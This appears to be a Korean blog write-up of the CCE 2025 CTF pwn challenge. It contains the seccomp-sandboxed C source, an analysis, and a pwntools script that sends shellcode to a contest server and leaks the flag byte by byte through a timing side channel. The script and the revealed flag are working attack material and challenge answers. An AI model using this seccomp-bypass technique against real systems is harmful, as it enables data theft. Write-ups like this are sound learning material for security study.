1. intro

2. code 및 분석
2.1. code
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
#include <fcntl.h>
#include <seccomp.h>
#include <linux/seccomp.h>
#define LENGTH 128
volatile char flag_mem[0x50] = {0};
void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(nanosleep), 0);
if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
}
char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
int main(int argc, char* argv[]){
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);
int fd = open("./flag", O_RDONLY);
if (fd == -1) {
perror("open");
return 1;
}
read(fd, flag_mem, 0x50);
close(fd);
char* sh = (char*)mmap((void*)0x40400000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));
int offset = sizeof(stub);
printf("Enter your shellcode: ");
read(0, sh+offset, 0x900);
alarm(10);
chroot("/home/ctf");
sandbox();
((void (*)(void))sh)();
return 0;
}
2.2. 분석
flag를 전역 변수에 읽어들인다.
이후 mmap을 통해 새로운 영역을 할당하고, stub를 복사하여 넣어준다음 유저의 shellcode를 그 뒤에 붙여넣고 실행한다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
?!
3.2. 공격 준비
일단 source code만 주기 때문에 환경을 추측하기 어렵다.
컴파일된 환경마다 코드 offset 들이 다르기 때문에 이 점이 조금 더 귀찮음을 선사했다.
큰 틀은
1. flag_mem의 주소 알아내기
2. 1바이트씩 가져와 값을 비교하고 만일 같다면 무한루프에 빠지게 만들기
와 같이 실행하였다.
바이너리가 실행되고있는 환경에서는 쉘코드가 비정상적으로 종료되면 이에 대한 오류 메시지를 모두 친절하게 띄워줬기 때문에 조금 더 쉽게 확인이 가능했다.
우선 flag_mem의 주소를 알아내야하는데, main -> call *sh 으로 진입 시 main 함수의 주소가 stack에 저장되기 때문에 이를 가져오고, 이를 0xfffffffffffff000과 and 연산하여 뒤를 날려버렸다.
memory 할당은 어차피 0x1000 단위로 되기 때문이다.
이후 and 연산된 값으로부터 flag_mem 주소까지의 offset을 확인하기 위해 0x1000, 0x2000, 0x3000 각각으로부터 1씩 더하며 cce 문자열이 나오는 부분을 찾았고, 0x3080에서 나오는 것을 확인했다.
이 다음부터는 시간이 해결해줌.
모든 ascii 값과 비교하기에는 다소 무리가 있어서 {}, 문자, 숫자만 우선 비교하다가 처음 3글자가 Y0u이길래 띄워쓰기는 통상적으로 사용하는 _를 추가해줬고, 그 다음 글자가 안나오기에 숫자패드의 특수문자만 추가해서 뽑았다.
4. exploit
from pwn import *
from string import *
#context.log_level='debug'
letter = '{_}!@#$%^&*()-=+' + ascii_letters + digits
flag = 'cce2025{Y0u_@r3_5tR0ngeR_7H@n_5heIIcRaf7}'
offset = 0x3080 + len(flag)
while True:
for i in range(len(letter)):
#p = process('./a')
p = remote('43.200.130.204',54321)
context.arch='amd64'
shell = '''
test:
pop rcx
and rcx, 0xfffffffffffff000
add rcx, {}
mov rax, '{}'
mov bl, [rcx]
cmp rax, rbx
je start
mov rax, 0
syscall
start:
mov rax, 1
mov rbx, 1
cmp rax, rbx
je start
'''.format(hex(offset),letter[i])
payload = asm(shell)
p.sendafter(b': ',payload)
print('try ',hex(offset),letter[i])
print('flag = ',flag)
try:
check = p.recv(1024,timeout = 4)
print(check)
if b'Bad' not in check:
flag += letter[i]
print(flag)
p.close()
offset = offset + 1
break
else:
p.close()
except:
p.close()'CTF > Solved' 카테고리의 다른 글
| CCE 2025 - LNG 경보센터 (0) | 2025.09.14 |
|---|---|
| CCE 2025 - pwn - book (0) | 2025.08.17 |
| Dreamhack CTF Season 7 Round #14 (🌱Div2) - Platform 9½ (0) | 2025.07.26 |
| No Hack No CTF 2025 - No.5️⃣4️⃣9️⃣ (0) | 2025.07.08 |
| No Hack No CTF 2025 - Baby ROP which LemonTea wants (0) | 2025.07.08 |
